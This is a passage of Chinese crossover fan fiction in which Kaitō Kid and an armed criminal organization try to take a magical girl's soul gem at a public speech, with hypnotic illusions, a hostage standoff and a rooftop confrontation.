——普普通通、没有任何魔力，但是凭借外表的极高相似度瞒过其他人也绝对足够了。 虎杖悠仁知晓怪盗基德的预告函之后，就总忍不住有点不放心。 在网上了解了基德过去的一系列辉煌战绩后，虎杖悠仁就更忧心了，担心基德会用什么花里胡哨的魔术手法神不知鬼不觉地盗走灵魂宝石。 但是，用假宝石替换上就万无一失了。 就算基德真的能够成功盗走，也没什么值得在意的了。 而且和基德曾经盗走的其他宝石不同…… 魔法少女的灵魂宝石是极其独特的，没有外人能够近距离观察它，也没有别人能够感知到其中的魔力。 所以，其他人肯定也分不清真假宝石的区别。 虎杖悠仁把真的灵魂宝石藏在了休息室的一个隐蔽角落，保证其他人无法短时间内发现它，这才暂且放心地关上自己休息室的门离开。 等到演讲一结束，她就立刻回来取走灵魂宝石，应该不会有任何问题的。 …… 而如今的怪盗基德心情比悠衣还要紧张。 他此刻正易容成一个样貌平平的普通人，混在来听演讲的人群当中。 尽管已经艰难地想办法成功进来了，但这绝对不等同于接下来也会顺利按照计划发展…… 基德能清楚地察觉到，这周围安保防范措施做得非常到位，各种方位都已经被隐蔽地武装起来了。 最重要的是——人群之中夹杂着非常多不简单的人。 他无法确认那些是否都是便衣警察。 但总之很多人都显然是练过的，有着不低的武力值，一直观察防范着四周的细微动向。 大概可能是魔法少女合作的一些势力派来的人，为了确保这次公开演讲顺利进行而做的保障吧。 毕竟近年来，魔法少女们合作的对象越来越多了，简直是左右逢源，发展的势头根本不可抵挡。 基德的心情实在不太妙。 ……都是魔法少女了，为什么还要做这么多额外的准备，她们本身的实力不是已经够强了吗？！ 就不能不把他这个普通怪盗放在眼里，多对自己的实力自信一点吗？！！ 基德在心里默默叹气。 最恐怖的就是，今天自己将会对上的那个魔法少女是悠衣。 虽然平常的悠衣看起来热情友善，看起来是那些魔法少女之中最好相处的一个。 但是，那只是作为同伴而言的。 如果换做是对待敌人…… 基德想起了先前看到过的一段视频——粉黑渐变发的少女正在和旁人看不见的魔女作战。 虽然无法见到那魔女的样子，但是也能够看出它有多么棘手，现场的战况有多么激烈。 当时的悠衣应付得很是艰难。 但是每当别人以为她支撑不住、就要倒下的时候，她却反而一次又一次地重新站了起来。 ……和禅院穗那种能够很快自愈的情况不一样。 悠衣自愈速度并不快。 但恐怖的是，她即使身上全是伤、血还在不停地往下流，可依然始终跟打不死一样。 伤势增重的同时，她的实力反而也会呈现爆发性增长。 于是战斗越到后期，悠衣浑身浴血的样子也就越可怖，但是打起架也就越狠，常能听见与其对战的魔女奇怪地发出凄惨的叫声…… 就好像是…… 基德想起了自己曾经打过的游戏。 悠衣的战斗模式，就像是能够通过对敌方造成伤害，然后让自己增强生命力。 并且自己血条足够低之后，就会开启狂暴模式，那不要命的架势似乎都能让魔女感到害怕。 当然，基德如今想想也害怕。 要是换做自己这脆弱的普通人身板，不知道能否扛得下悠衣最简单的一击？ 唉，可是他这次却非来不可…… 如今的怪盗基德，真实身份其实只是一名17岁的高中生黑羽快斗而已。 前段时间的某一天，黑羽快斗意外发现已去世的父亲就是八年前著名的怪盗基德。 并且，父亲当年的死因与一个成员都是以动物为代号的神秘组织脱不开联系，很可能就是遭了那个组织的暗杀。 自此之后，黑羽快斗便化身为二代基德，与神秘组织为敌，调查那个组织一直在追寻的据说能让人长生不老的宝石‘潘多拉’。 这次之所以来盗窃魔法少女的宝石，也是因为他提前得知了消息。 ——那个神秘组织已经盯上了魔法少女们，准备找机会不惜一切代价得到她们身上的灵魂宝石。 黑羽快斗觉得，那组织肯定不会放过这次公开演讲的机会。 于是，他自然也必须要掺和进来才行。 他送去了怪盗基德的预告函，其实也算是与神秘组织竞争，逼迫他们这次下定决心不惜代价地夺取宝石…… 这也是能够找出他们破绽的机会。 第149章 在听着台上魔法少女悠衣与警方的合作演讲时，黑羽快斗依旧时刻保持着高度警惕，关注着那个神秘组织有没有突然出手的意向。 不过，直到演讲即将落幕，也没有任何异常发生。 一切看起来很顺利。 演讲的内容十分鼓舞人心，成功地展示了魔法少女与警方两者携手合作的力量与意义，讲出了对未来更高效地解决魔女使魔的计划…… 底下的观众们也都非常捧场，掌声一时间不绝于耳。 黑羽快斗不能再继续等下去了。 虽然不知道眼前是否只是暴风雨前的平静，但他还是决定先下手为强，免得放过这个难得的好机会。 那个神秘组织如果目前在现场的话，一定不会眼睁睁看着怪盗基德带走很可能是‘潘多拉’的宝石。 说起来…… 黑羽快斗也觉得魔法少女们的宝石很有可能就是潘多拉——那颗传说中在月光下照耀便会生出宝石泪珠，饮下后就能实现长生不老愿望的生命之石。 毕竟，从魔法少女最开始出现在公众视野面前到现在，已经过了快要接近三年的时间了。 然而，她们的样貌和身高却似乎没有什么变化。 时间没有在她们身上留下痕迹，她们仿佛永远都不会脱离‘魔法少女’这个标准形象。 简直就像是……真的长生不老了一般。 这样的念头在黑羽快斗心里转了一圈，但又很快被其抛在脑后。 反正他并不渴求长生不老，所以也根本不会在意潘多拉的存在。 他一直以来想做的…… 仅仅是探寻父亲意外离世的真相而已。 …… 虎杖悠仁怀揣着不安的心情上台，不过幸好之前做了绝对充足的准备，所以在台上其实还表现得蛮不错的。 没什么人能看出她的紧张，几乎都觉得她做得很完美了，从头到尾仿佛都是一副游刃有余的状态。 随着演讲结束，虎杖悠仁心底也松了一口气。 真是自己吓自己。 结果根本没什么意外情况发生嘛。 但就在她准备下台离开的时候，底下的人群中突然爆发出一道刺眼的强烈光线，就像是有人投掷了闪光弹似的。 随即，一个白色身影忽然出现在了人群当中，吸引了全场的目光。 熟悉的白色礼服和礼帽…… “……是怪盗基德！” “基德来了！他要如预告中的那样来盗取宝石了！” “他到底是什么时候出现的……” 现场骤然乱了起来，人们说话议论的声音显得非常嘈杂。 但是，警方和其他来帮忙的势力并不是白做了准备。 他们很多人提前隐藏在人群之中，就趁基德出现的这一刻一拥而上，使得基德刚一出现便被众人合力围堵抓住。 “等等，不对劲。” 有之前就和怪盗基德打过交道的便衣警察反应过来，急急出声道：“这不是怪盗基德！” 其他人也很快察觉到了异常。 ……触感不对劲。 他们将白色礼帽和披风掀开，才发现之前现身的那个白色身影……别说不是怪盗基德了，甚至连人类都不是。 只是一个充气的假人而已。 他们这一通忙活，仅仅把那个假人弄得慢慢瘪了下去，假人脸上画着的简笔微笑就像是在嘲讽他们。 “居然是假的！” “可恶！！” 原以为成功抓住了怪盗基德的这些人不由得燃起了怒火。 然而与此同时，另一道白色身影悄然出现在了台上，就站在悠衣的身后，离她仅有一步之遥。 只要再靠近一点，那人便有机会轻松拿走魔法少女手腕上的宝石。 下一秒，虎杖悠仁却及时察觉了这极其细微的动静。 她快速回过身去，一个简单干脆的肘击便将自己背后的那道身影打倒在地。 这时，其他大部分人才刚注意到了台上的动静。 “干得漂亮！悠衣小姐！” 有人忍不住夸赞道，语气兴奋又激动。 但是，虎杖悠仁并没有怎么高兴。 少女皱着眉半蹲下，将刚才自己击倒的那个身影的披风和礼帽掀开，露出了底下的真面目…… ——这竟然又是一个假人。 仍然保持着易容状态的基德混在台下的人群里。 虽然被戏耍的显然是在场的其他人，但黑羽快斗此刻心脏仍然跳得很快…… 太恐怖了，悠衣好快的反应速度！ 要不是自己比较谨慎，只是试探性地放了一个假人上去，否则刚才就会被那家伙直接击倒逮捕吧。 怎么办？ 就凭悠衣的反应速度和武力值，自己怎么偷走对方戴在手腕上的宝石手链？ 而其他人无法知道怪盗基德的心里想法，只看到了其难以解释的神奇操作，纷纷更加警惕不安起来。 “果然是出神入化的魔术手法。” 一位中年的警方高层提高声音道：“但这也只是魔术而已，绝对不会脱离实际，他现在一定就藏在现场的某个角落里。” 说着，他按下了手里的一个装置按钮。 周围的窗户和大门瞬间发出了很大的动静，特殊材质的钢铁将这个会展封锁得严严实实，不漏过一处可以逃出去的角落。 “竟然敢扰乱这次重要的演讲……今天我们就要逮捕怪盗基德，绝对不会让其再次逃离法网！” 藏在人群里的怪盗基德心底全是问号。 至于吗？至于吗？？！ 有这么做的必要吗？完全没有好吧！！ 真是感谢他们，竟然这么信任他有机会从魔法少女身上盗走宝石啊！ 其实，黑羽快斗自己都没这个自信。他来这里的主要目的只是为了那个神秘组织而已。 可是没想到那个组织竟然直到现在还不出手，真是难得这么懦弱。 事到如今，他只好再给他们加一把火了…… 于是人群里慢慢开始发出这样的声音： “怪盗基德刚才离悠衣那么近，宝石不会已经被掉包了吧？” “很有可能啊，那家伙之前就总是这样，神不知鬼不觉地便把珍贵的宝石给盗走了。” “没错，基德的魔术手法绝对是数一数二的。” “说不定现在的宝石已经被怪盗基德换成假的了！” “是啊，刚才封锁现场的速度还是有点慢了，可能人家都盗走宝石跑掉了呢……” “……” 这些声音源自于黑羽快斗提前录制好的一些音频，他提前将其悄悄放在人群的各个位置中。 甚至他自己也用伪音，将刚才发生的事情也添油加醋地说出来，尽力扰乱人心。 果然，他的努力很快便起效了。 其他人也有点信了这个可能性，因着羊群效应也开始纷纷议论。 其中一个警察先忍不住望向悠衣，犹豫着问道：“悠衣小姐，请问你身上现在的宝石……是真的吗？” 第150章 面对那位警察的疑问，虎杖悠仁不由得短暂地沉默了一会儿。 毕竟她从一开始带上台的宝石就是假的。 所以现在真不知道该怎么说…… 说实话，虽然她是觉得怪盗基德应该没有触碰到自己的机会，大概率不可能悄无声息地将宝石掉包。 可是想想刚才对方那不可思议的魔术手法…… 虎杖悠仁又不确定了。 说不定怪盗基德真的已经骗过所有人、带着宝石离开了呢，反正她也无法分辨出假宝石和假宝石之间的区别。 不过……虎杖悠仁转念一想。 还是别让其他人平白担心了，怪盗基德顶多只是将假宝石盗走了而已，根本不算什么事情。 于是，悠衣笑着宽慰道：“放心吧，这当然是真的，他没有能盗走宝石。” 闻言其他人都放下心来。 “那就好那就好。” “果然怪盗基德还是无法对付魔法少女的……这么说，他应该还在这个会展里吧。” “这次绝对不能再让他轻松逃走了，绝对要给他一些教训才行！” “有魔法少女在，逮捕怪盗基德绝对没问题的……” “……” 唯有站在台下的松田阵平愣了一下。 刚才在听到众人讨论担心宝石真假的时候，他便悄悄使用魔法，努力远距离探查了一下，发现悠衣手腕上戴着的宝石手链没有任何魔力。 显然，那宝石应该是假的才对。 可是为什么悠衣会这么说…… 不过，松田阵平也算是早就比较熟悉悠衣了，想了想又很快放下了刚提起的心。 悠衣看起来毫不担心，应该是提前有着她自己的计划，估计真正的宝石已经被她好好存放在另一个地方了吧…… 而确认宝石没事之后，警方便又商量起该如何逮捕怪盗基德的事情。 在这个封闭的场所里，怪盗基德绝对无法轻易逃走。 所以，他们有大把的时间可以一个个排查在场的人，看看有没有易容的基德混在其中。 就是目前现场的人数实在是太多了，这个会展占地面积也足够大，一时半会儿应该难以从中找出怪盗基德来。 可是，也不能把这些人都强行困在这里数个小时。 否则警视厅的名声便即将再下一层楼。 在警方迅速商量办法的时候，虎杖悠仁有点记挂自己藏在休息室的真正的灵魂宝石了。 因为丘比先前的再三叮嘱，所以魔法少女们都很重视灵魂宝石，平常都是随身携带的。 虎杖悠仁如今自然不放心把它放在那里太久。 反正，她并不擅长在这么多人里找到易容的怪盗基德，留下来也帮不上忙。 所以虎杖悠仁准备找借口跟警方说一下，既然演讲已经结束，那她就先离开了。 然后等她回到不远处的休息室，拿走自己的灵魂宝石，便可以利用书页直接转移出去了。 只要这次演讲的中心角色魔法少女离开，那么任何为了她而来的人就都没有继续关注这个展会的理由，她也不必担心牵连到这里的其他人了。 虎杖悠仁往着离自己最近的那几个警察走去。 可是突然间，她便又察觉到了异样。 ——“真是令人恶心啊，小鬼。” 从非常近的地方莫名响起了这样的声音。 在听到这句话的瞬间，虎杖悠仁的脚步便骤然顿住了，怔怔地停在原地，心脏仿佛都因为过于惊愕而短暂地停跳了片刻。 这声音很熟悉又很陌生。 她清楚地记得发出声音的对象是谁，甚至很久之前他们还曾共用同一个身体，经常都能听见那家伙烦人的声音。 但是不对劲…… 绝对不可能听见那家伙的声音才对。 ……两面宿傩可是早在两年多前就彻底死了啊！！！ 然而，那声音紧接着又出现了，像是故意在向虎杖悠仁昭示着自己的存在感。 ——“怎么这个反应？当年你说出你的愿望是彻底消灭我的时候，不是还挺有胆量的吗？” 虎杖悠仁这次听得更清楚了。 那声音具体是从她侧脸上发出来的。 虎杖悠仁的脸刷的一下白了，全身的血液仿佛也瞬间冷了下来，像是突然掉进了冰窟里…… 就如同两年前宿傩还寄宿在其身体里一样，她的侧脸上凭空又长出了一张嘴，嚣张地说着挑衅的话。 ——“你真以为签订契约把自己卖身出去，就能够摆脱作为我容器的命运吗？” ——“错了，你永远只会是任人操控的棋子！连你的出生都是别人计划好的，你从来就没有逃离过别人的掌控。” ——“只要你活着，就总有一天会被我取代，到时候还会有无数人被你害死……” 听着这些话，虎杖悠仁始终低着头沉默不言。 看起来像是受到了不小的打击。 而两面宿傩似乎还是不满足于此，继续喋喋不休道：“小鬼你这两年看来混得还不错啊，用这副恶心的样子骗了不少人吧。可惜，他们现在好像已经知晓你真实的一面了……” 随即，一旁台下的人群不断传来轻微的异常声音，许多人不安惊恐地讨论着目前的情况。 显然他们是被魔法少女的状况吓到了。 也是，少女的脸上突然多出了一个狰狞的嘴巴，还能用一个嚣张的男声说着奇怪的话。 这场面怎么看怎么惊悚。 两面宿傩语气略微上扬地道：“怎么样？小鬼，你……” “……” “……太吵了。” 戴着虎耳兜帽的少女难得冷着脸，突然开口说道。 虽然她表情不如往常一般友善阳光，但是能看得出来，两面宿傩刚才的话并没有对她造成多大影响。 “只是一个幻象而已，你的话实在是太多了。” 虎杖悠仁毫不客气地出声。 ……是的，看似死而复生的两面宿傩只是幻象。甚至如今周围的一切也全都是虚假的。 估计她是不小心着了什么人的道吧。 总之，虎杖悠仁已经看透了——从刚才两面宿傩出声起的那一刻，她便陷入幻境之中了。【你现在阅读的是 】 150-160 第151章 虽然最开始的时候，虎杖悠仁确实被吓了一跳。 但是假的终究还是假的，这个幻境说到底也就是让人陷入自己最不愿意接受的噩梦里而已。 所以宿傩才突然出现，才会故意说那一句句戳心的话，台下的那些人才会表现出对她的恐惧与不理解的情绪…… 一切都太刻意了。 不过，就算这样的事情真的发生…… 虎杖悠仁攥紧了拳头。 如果是两年前的自己可能真的会崩溃绝望，但是这两年来自己也成长了不少…… 他践行爷爷的遗言，从魔女手下拯救了很多人，也从同伴们身上学到了许多…… 才不会就因为这种程度的打击而轻易倒下。 …… 粉黑发少女恢复清醒，缓缓睁开了眼。 只要不被自己最恐怖的噩梦击垮、意识到周遭的一切都是假的……这种催眠制造的普通幻境就当然无法困住魔法少女。 从陷入幻境到最终脱离，虎杖悠仁其实只用了很短的时间。 不过，这点时间也足够某些不怀好意的人做出些什么了。 虎杖悠仁微微抬头看向前方。 就在刚才她陷入幻境的时候，不知从哪里冒出了一个奇怪的男人站在了自己的面前。 ——对方穿着一身黑衣、连上半张脸也被遮住了，最引人注目的是其面具上的三个诡异的发光红点。 而此刻，那家伙显然正悄悄将手伸向她这边，准备拿走她手腕上的宝石手链…… 看见虎杖悠仁忽然睁眼，那个人一时间惊得连动作都僵住了，手停在半空中不知道还该不该继续下去。 下一刻，虎杖悠仁先动了。 魔法少女的速度很快。 那个人刚看到她手上凭空显化出两把短刀，紧接着便感到一阵寒意，那短刀被横上了自己的脖颈处。 虎杖悠仁皱眉问道：“怪盗基德？” 她一边逼问着对方，一边留心观察着周遭的情况。 台下其他的人如今似乎都木楞地站立在原地，紧闭着眼睛，表情或多或少都有些痛苦煎熬，应该是被催眠困在了各自的噩梦之中…… 这种手段还真够神奇的。 但是…… 虎杖悠仁这几天也了解了不少关于怪盗基德的情报，可没听说基德还会催眠啊？ 如果对方会这种手段的话，以往为什么盗走宝石却从来没用过，有这样方便的手段不用不是太可惜了吗？ 这时候，从会展四面八方的角落里突然冒出来了很多人。 他们几乎全穿着褐色制服、戴黑色礼帽，手上持着枪.械，显然都是一个组织势力的成员。 这些人一出场就将枪口对准了台上的悠衣。 还没等虎杖悠仁反应过来，他们就毫不顾忌、直接干脆利落地朝着她齐齐开枪了…… “砰、砰、砰、砰……” 子弹跟不要钱似的向她射过来。 匆忙间，虎杖悠仁被迫放开了自己挟持着的那个男人。 她快速向后退去，身形极其灵敏地躲开了许多子弹。 但是这些子弹密密麻麻的，避开了大部分之后，还是有几颗漏网之鱼以刁钻的角度向她袭来…… 虎杖悠仁在关键时刻极其冷静，双手拿着短刀精准切开了袭向她的子弹。 于是，那些人的一通操作下来，魔法少女只是受了点擦伤而已，一颗子弹都没有命中她…… 气氛忽然变得有些尴尬。 他们沉默下来，并很有自知之明地停下了射击。 以对方的这种实力来看，普通人类就算再怎么样努力……也绝对不可能击败魔法少女的吧。 虎杖悠仁先出声问道：“你们是什么势力的？” 到了现在，她也意识到了，刚才的幻境和这些人大概率都与基德无关。 怪盗基德从来只是偷盗，没有伤害过任何人，也没听说过背后有这样的势力。 而这些人……更像是来自专业的杀手组织。 没有人回答悠衣的问题。 不过，这种僵持的状态倒也没有继续维持下去。 台下一个黑西装、黑礼帽的男子举着枪往前走了几步。 他与其他人相似又稍有不同的服饰、证明了他应该至少是这方势力里的一个小头目。 他对着台上另一边的黑衣男催促道：“快！蜘蛛，用你的幻术把她再催眠一次。我们拿了潘多拉就赶紧走。” “哪有那么简单？！” 那个代号叫蜘蛛的人显然憋了一肚子的怒火，不分场合地吵道：“对了，斯内克是你刚才下令开的枪吧！你这是公报私仇想顺带杀了我吗？！” 斯内克冷哼道：“你这不是还没死吗？” 蜘蛛愤愤不平地说：“就差一点，要不是刚才她放手得快……” “行了。”斯内克打断道：“有什么事回去再说。要是搞砸了眼前的任务，我们都没什么好下场！” 蜘蛛闻言勉强恢复了点理智。 但是这样也没什么用，他根本无法做到更多的事情了。 “现场的人实在是太多了，刚才催眠所有人已经耗费了我太多精力……我没办法让她短时间内再次陷入幻境了。” 蜘蛛无可奈何地咬牙说道。 能看得出来，蜘蛛说的是真的。 他此刻的状态确实很糟糕，脚步都有些虚浮不稳。 “没用的家伙，亏之前你还说你研究的新幻术有多么厉害，结果到头来就这点本事吗？！我回去一定要把你的行为都告知BOSS。” 斯内克的情绪也很差劲。 现在这状况太不妙了，他们根本奈何不了魔法少女，那该怎么夺走潘多拉？ 为了这次任务，组织冒了很大的风险、还耗费了血本…… 只要夺得宝石逃离这里，就会有数架直升机来接他们回去。 绝对不能就这样轻易宣告失败！ 第152章 然而，屋漏偏逢连夜雨。 又有出乎他们意料的情况发生了—— 一个有着黑色蓬松卷发、穿着黑西装、戴着黑墨镜的青年走上了台，手里拿着一把手枪，枪口朝着蜘蛛和斯内克的方向。 虽然这家伙看起来挺像个黑手党，但从行为举止来看…… 他应该是站在魔法少女一方，过来给其帮忙的。 虎杖悠仁愣了一下。 自己倒也见过这个人。 因为他们都跟榎原健一和伊江朔久认识，所以之前也意外见过一两次面，不过几乎完全不熟。 虎杖悠仁努力从脑海中搜刮了一下回忆，才勉强想起该怎么称呼对方：“松田警官？” 松田阵平点了点头。 见状，即使知道场合不合适，但斯内克还是没忍住自己内心正熊熊燃烧的怒火。 他额上青筋暴起，气愤地对蜘蛛吼道： “废物！魔法少女就算了，你居然还让其他人也不靠外力就醒得这么快？？！” 蜘蛛沉默不语：“……” 此刻的他显得比斯内克精神更差劲多了，头深深地垂了下去，一副自我怀疑、非常消极的样子。 虎杖悠仁听不下去，不准备再继续从他们的话里获取信息了，就直接道： “你们也说够了吧……现在解开对其他人的催眠，并束手就擒，否则我就要动用武力了。” 拿着双刀的魔法少女很有架势地站在那里。 虽然她仅仅拿着冷兵器，身边能帮忙的同伴极少……但是也能有种一个人将所有敌人包围的感觉。 那个组织的其他成员闻言大多都有些动摇。 他们完全没有战胜魔法少女的可能性，真的还要继续坚持下去吗…… 可是被抓住的后果，也绝不是他们愿意接受的。 斯内克忽然冷笑了一声。 虎杖悠仁皱眉望着他，莫名有点不详的预感。 果然下一秒，斯内克挪动枪口对准了离自己比较近的一个无辜者。 对方还痛苦地闭着眼睛，陷入幻境之中难以自拔，完全不知道此刻自己的死活就在他人的一念之间。 “交出宝石，并放我们离开，否则我就会杀掉这里的人。” 斯内克威胁道。 随着他的声音落下，其他属下也纷纷快速反应过来，将手中的枪对准身边离自己近的人…… “警察和魔法少女，还真是一听就觉得代表了光明与正义的存在啊。” 斯内克嘲讽地说：“所以，你们应该不会看着无辜者平白死去吧？” 虎杖悠仁沉默了。 “快点，我可不想跟你们拖延时间！” 斯内克明白自己的方法有用，便步步紧逼道：“还是说，必须先见血，你们才会认真起来？” “这个好办，幸好这里最不缺的就是人了。” 斯内克放在扳机上的指头微微动了动，只要再稍一用力，子弹就会从枪口射出击中旁边那个无辜者的脑袋…… “停下！” 虎杖悠仁及时出声打断对方的行为。 斯内克冷冷地看着她不说话。 少女沉默了几秒，下定决心开口道：“宝石可以给你们……但是，你们真的觉得自己能够顺利离开吗？” 警察对这次的演讲本来就比较重视，又因为有着怪盗基德的预告函提前做提醒…… 很容易就能猜到，警方大概率留有后手准备。 借助蜘蛛的幻术，斯内克带着人悄悄潜入这个会展的时候，他们就已经察觉到了附近的异常。 估计周围这一大片范围内，都已经提前被警方掌控住了吧…… 要是没做逃离这个会展之后的准备的话，他们确实逃不了多远，就会被围困抓住。 可是…… 他们组织也非常重视这次取得潘多拉的行动，好几架直升机就在外面，等着一接到指令就过来接他们呢。 斯内克扯了下嘴角，笑着说：“我们能否顺利离开就不劳你们操心了，把宝石交给我就行。” 虎杖悠仁便也不再多话，将自己的宝石手链取下递过去。 斯内克谨慎地靠近，从她手里接过了宝石。 魔法少女的宝石和其他珍贵有名气的宝石不一样，它是不可能被展览的，大多时候只能被路人远远地将它和魔法少女本人一起拍下来。 这样自然无法看清宝石的具体特征和细节。 所以，这还是他第一次近距离看到它。 这颗粉红色的宝石散发着柔和的光泽，很有灵气，色彩给人以天际晚霞般的感觉，只用一眼便能看出它的昂贵与珍稀…… 斯内克打量着宝石，心里默默盘算着。 公开演讲的时间不在晚上，所以没办法用在月光下照耀的方法验证它是否就是潘多拉…… 但是就算不是潘多拉，作为魔法少女的重要之物，他们辛苦这一趟能得到它也是很有价值的。 他妥善地收起了宝石，然后向下属示意，下属立刻明了地开始行动。 不久前，那位警方高层按下装置按钮，将整个会展封锁起来的那一幕，在场的人差不多都看见了。 所以如今在其陷入幻境之中时，神秘组织的人就直接轻松地从对方身上拿到了那个装置，解除了封锁状态。 紧接着，他们便抓紧时间匆匆撤离了。 虎杖悠仁看着他们离开，下一秒就毫不犹豫地抬步跟了上去。 松田阵平也跟在了她身旁。 虎杖悠仁不会担心自己一个人能出什么意外，但是注意到松田阵平跟着，就立刻劝道：“你就待在这里吧，过去很危险的。” 理智来说，松田阵平待在这里别去添麻烦，确实是更好的选择。 可是…… 松田阵平莫名有些不太好的预感。 或许是因为这次公开演讲出的意外稍微有些多，也或许是因为现在还不清楚悠衣真正的灵魂宝石在哪里…… 让他实在不能放心对方一个人追上去。 于是，松田阵平说道：“相信我，我能够帮上忙的……也会注意自己的安全，不会给你添乱的。” 说这种话的时候，松田阵平感到有点别扭和熟悉。 前不久，那位高中生侦探似乎也跟松代说过类似的话。 ……还真是风水轮流转啊。 虎杖悠仁有点无奈，出声道：“他们带走的宝石是假的，所以你根本没必要跟着我去冒这个风险。” 令她出乎意料的是，眼前的松田警官闻言似乎没怎么惊讶，还是坚持道：“我是一名警察，没办法看着他们就这样离开……” 没等悠衣做出回应，松田阵平就快速继续说： “他们既然有信心能够逃离这里，一定是提前做出充分准备的。刚才他们离开的方向离楼梯间比较近，他们应该是想要上到天台去。” “天台……” 虎杖悠仁也很快想到了：“他们是想通过直升机离开。” 松田阵平点头道：“我清楚这里的布局，旁边有个更近的员工通道，从那里上天台更快，而且还可以打他们一个措手不及。” 虎杖悠仁短暂地迟疑之后，还是应下了…… 等到他们两个赶到天台时，神秘组织派来的那几架直升机刚刚到这附近，甚至还没有来得及落地。 那些组织成员看到他们两个简直吓了一跳，神情慌张得很明显。 ——这里没有可以威胁魔法少女的人质了。 那么现在又该怎么办？ 怎么才能对付一个武力值完全不像人类的魔法少女？？！ 斯内克咬了咬牙。 为了避免这一情况的发生，刚才在上楼的过程中，他叫了几个下属留下断后。 让那几人帮忙出声提醒并尽可能阻拦一下魔法少女。 可是，这一手段却根本没派上用场。 那个魔法少女居然从另一个方向，不声不响地也快速赶到了天台。 ……这下还真是糟糕了。 第153章 虽然眼看着直升机即将落地天台，但是这里的组织成员都非常清楚——他们是不可能当着魔法少女的面逃离这里的。 实力的差距从一开始就非常明显了。 斯内克犹豫了片刻，很快便做下了决断。 既然已经无法逃离，那也不能将之前所做的努力全都化为乌有…… 在最先靠近他们的直升机离落地还差个几米时，斯内克拿出了宝石，将宝石从那架直升机的窗口处精准地投掷了进去。 那里面的驾驶员愣了一下。 “斯内克大人？！” 这些直升机的驾驶员没有和魔法少女实际见过面，还不清楚他们这么多人根本敌不过对方一个人，只想着按照计划赶紧接了这些同伴就离开。 斯内克却喊道：“快走！别下来！带着潘多拉回去见BOSS！！！” 如今他只来得及这么做，也只能寄希望于BOSS身上。 如果BOSS能够得到追寻已久的潘多拉，确认魔法少女的宝石对长生不老有效，组织肯定能够因此快速发展。 就算那不是潘多拉，组织也会拥有拿它和其他势力或魔法少女她们谈判的机会…… 到那时候，组织应该不会忘记他们这些功臣的。 就算在这里被抓了，也不代表着全完了。 日本的法律很难判处死刑，即使判决结果下来了，也可以用漫长的上诉程序来拖延时间…… 所以说，留给他们的未来还长着呢。 斯内克这样想到。 而虎杖悠仁和松田阵平也意识到了对方的打算，他们两个当然不希望对方如愿。 即使被带走的宝石是假的，他们也想要逮捕那几架直升机上的犯罪成员。 看着拿枪准备阻拦自己的那些组织成员，虎杖悠仁握紧双刀的刀柄，毫不畏惧地迎了上去…… 此时此刻，更害怕的自然是那些组织成员。 斯内克额上不知不觉冒出冷汗，小声提醒下属道：“尽量拖住时间就行。” 下属们连连点头应下，紧张地看向不远处的魔法少女。 那个看起来像脱离了人类范畴的少女，正气势汹汹地朝着他们这边走来。随着对方的一步步接近，他们心也渐渐提了起来…… 然后…… 少女走到一半，忽然如同断电了似的，双目失去了神采，身体莫名其妙便直直地往一边倒去。？？！ 这完全没有任何征兆的突发事故让他们几乎都愣住了。 怎么回事？？？ 松田阵平也吃了一惊。 但因为离悠衣的距离比较近，再见上反应速度很快，他还是在对方倒地前及时将其接住了。 看着怀里的少女，松田阵平一时间有些茫然。 她此刻就像是个人偶般一动不动，很显然已经没有了意识，看起来有点像是突然发病晕倒。 可是，相处了这么久，松田阵平完全不知道她会有什么急性病，平时也没见对方发病或者吃药。 就算真的有，也不至于一点提前反应也没有。 明明上一秒她还步伐正常平稳、呼吸没有任何变化，下一秒却突兀地直直倒下了，怎么看都不是寻常的发病。 而且，最关键的是…… 粉黑发少女那双金色眼瞳还没有合上。 她就这样静静地躺着。 眼睛虽然是睁开的，视线却没有放在任何具体的地方，只停留在虚无缥缈的空中。 往常灵动明亮的那抹金色，如今已经黯淡了太多，无神得如同两颗没有生命的金色玻璃珠。 “……悠衣？” 松田阵平看着这样的对方，心底渐渐升起复杂而莫名的感受。 既担忧又不安，像是被未知的恐惧紧紧缠绕住，让人一时有些难以呼吸。 还预感到似乎有什么重要秘密要露出真相的一角了…… 他脑海里塞满了无数个混乱的念头，但根本没时间多想，眼下最重要的当然是弄清楚悠衣的情况。 “悠衣？！悠衣？……” 松田阵平喊了好几声。 少女仍然一点反应也没有，这样子看起来真像是仿真的人偶。 他意识到了一个糟糕透顶的可能性。 想到那个可能性的瞬间，松田阵平便本能地屏住了呼吸，心沉到了最底部。 沉默了片刻，他小心翼翼地伸出手，放在了眼前少女的手腕上。 ——果然，她没有脉搏。 这算什么？？？ 只有……死人才会没有脉搏吧？ 可是，怎么可能？悠衣怎么可能会死？ 不久前还好端端的人，怎么可能就忽然死掉了？？！ 松田阵平完全无法接受这个结果。 或许、或许只是中什么诅咒了而已？不一定是真的死了吧。 还有很多其他可能性，这个世界一直都这样离奇怪异，没什么是绝对不可能发生的…… 如果悠衣活着，他是不是需要做点什么急救措施？还是送医院？医院解决不了这种情况吧？ 那还是应该找禅院穗最妥帖，她或许能够治疗悠衣…… 就在松田阵平脑子里一团乱麻的时候，同样处于这个天台的其他人先有了动静。 那些犯罪分子们最开始看到悠衣倒下的时候，都有些茫然和不知所措，对方倒下得实在是太突然也太古怪了。 让他们都怀疑对方是不是在故意使诈，先装作意外倒下，然后骗他们把直升机给喊回来。 但在面面相觑了一小段时间后，这些犯罪分子倒也逐渐反应过来了。 对方的表现不像是演出来的，也没什么人会在这种时刻突然做出这样奇怪的表演。 这个魔法少女大概是真的出了什么事情。 虽然不清楚具体情况…… 但毫无疑问的是，这是一个难能可贵的翻盘机会，必须得好好把握住才行。 第154章 松田阵平发现了那些犯罪分子的蠢蠢欲动。 当然这并不难，因为他们根本就没有掩饰。 那些人举着枪小心翼翼地注意着悠衣的动向，一边看着悠衣有没有任何细微的动静，一边慢慢大起胆子来逐渐靠近这边。 至于松田阵平这个普通警察，则根本不被他们放在眼里。 估计他们还想着利用悠衣，看看能不能活捉她回去做什么研究之类的，贪婪地想要获取最大的利益…… 否则也不会放弃直接远程开枪击杀她的机会，而是选择慢慢试探着靠近她吧。 松田阵平清楚这些，也意识到自己陷入了两难的困境。 单凭一个普通的警察，此刻是无法阻止这些犯罪分子的。他唯一能做的只有动用魔法少女的力量。 可是…… 如果当着他们的面变身的话，除非杀了所有人灭口，不然这消息必然会流传得人尽皆知。 到那时候，松田阵平过往的一切正常生活估计都要毁掉了。 ……该怎么做？ “喂，条子，识相的话，就主动把她交过来。” 斯内克已经离松田阵平和悠衣很近了，他举枪朝着那两人的方向，对着松田阵平威胁道。 松田阵平无声叹了口气。 现在到底该怎么做，他一时间也没什么主意。 